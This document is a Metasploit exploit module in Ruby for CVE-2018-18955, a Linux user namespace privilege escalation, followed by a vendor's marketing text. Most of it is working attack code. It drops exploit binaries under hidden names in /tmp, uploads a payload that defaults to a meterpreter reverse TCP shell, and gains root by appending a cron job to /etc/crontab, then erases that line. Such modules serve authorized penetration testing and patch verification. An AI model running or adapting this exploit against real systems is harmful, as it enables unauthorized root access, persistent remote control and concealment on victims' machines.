##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
namespaces and kernel uid/gid mappings allow elevation to root
(CVE-2018-18955).
The target system must have unprivileged user namespaces enabled and
the newuidmap and newgidmap helpers installed (from uidmap package).
This module has been tested successfully on:
Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;
Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);
Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2018-11-15',
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Privileged' => true,
'References' => [
['BID', '105941'],
['CVE', '2018-18955'],
['EDB', '45886'],
['PACKETSTORM', '150381'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'],
['URL', 'https://lwn.net/Articles/532593/'],
['URL', 'https://bugs.launchpad.net/bugs/1801924'],
['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
],
'DefaultOptions' => {
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true,
'WfsDelay' => 60,
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
},
'Notes' => {
'AKA' => ['subuid_shell.c'],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_execute
]
}
}
)
)
register_options [
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
]
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
register_file_for_cleanup path
chmod path, 0755
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file)
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
return CheckCode::Safe("#{path} file not found") unless file? path
return CheckCode::Safe("#{path} is not setuid") unless setuid? path
vprint_good "#{path} is set-uid"
end
# Patched in 4.18.19 and 4.19.2
release = kernel_release
v = Rex::Version.new release.split('-').first
if v < Rex::Version.new('4.15') ||
v >= Rex::Version.new('4.19.2') ||
(v >= Rex::Version.new('4.18.19') && v < Rex::Version.new('4.19'))
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
config = kernel_config
if config.nil?
vprint_error 'Could not retrieve kernel config'
return CheckCode::Unknown
end
unless config.include? 'CONFIG_USER_NS=y'
vprint_error 'Kernel config does not include CONFIG_USER_NS'
return CheckCode::Safe
end
vprint_good 'Kernel config has CONFIG_USER_NS enabled'
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
CheckCode::Appears
end
def on_new_session(session)
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\""
else
session.shell_command("/bin/sed -i '\$ d' /etc/crontab")
end
ensure
super
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload executables
subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
subshell_name = ".#{rand_text_alphanumeric 5..10}"
subshell_path = "#{base_dir}/#{subshell_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile subuid_shell_path, strip_comments(exploit_data('subuid_shell.c'))
upload_and_compile subshell_path, strip_comments(exploit_data('subshell.c'))
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
upload_and_chmodx subshell_path, exploit_data('subshell.out')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Adding cron job...'
output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "
output.each_line { |line| vprint_status line.chomp }
crontab = read_file '/etc/crontab'
unless crontab.include? payload_path
fail_with Failure::Unknown, 'Failed to add cronjob'
end
print_good 'Success. Waiting for job to run (may take a minute)...'
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation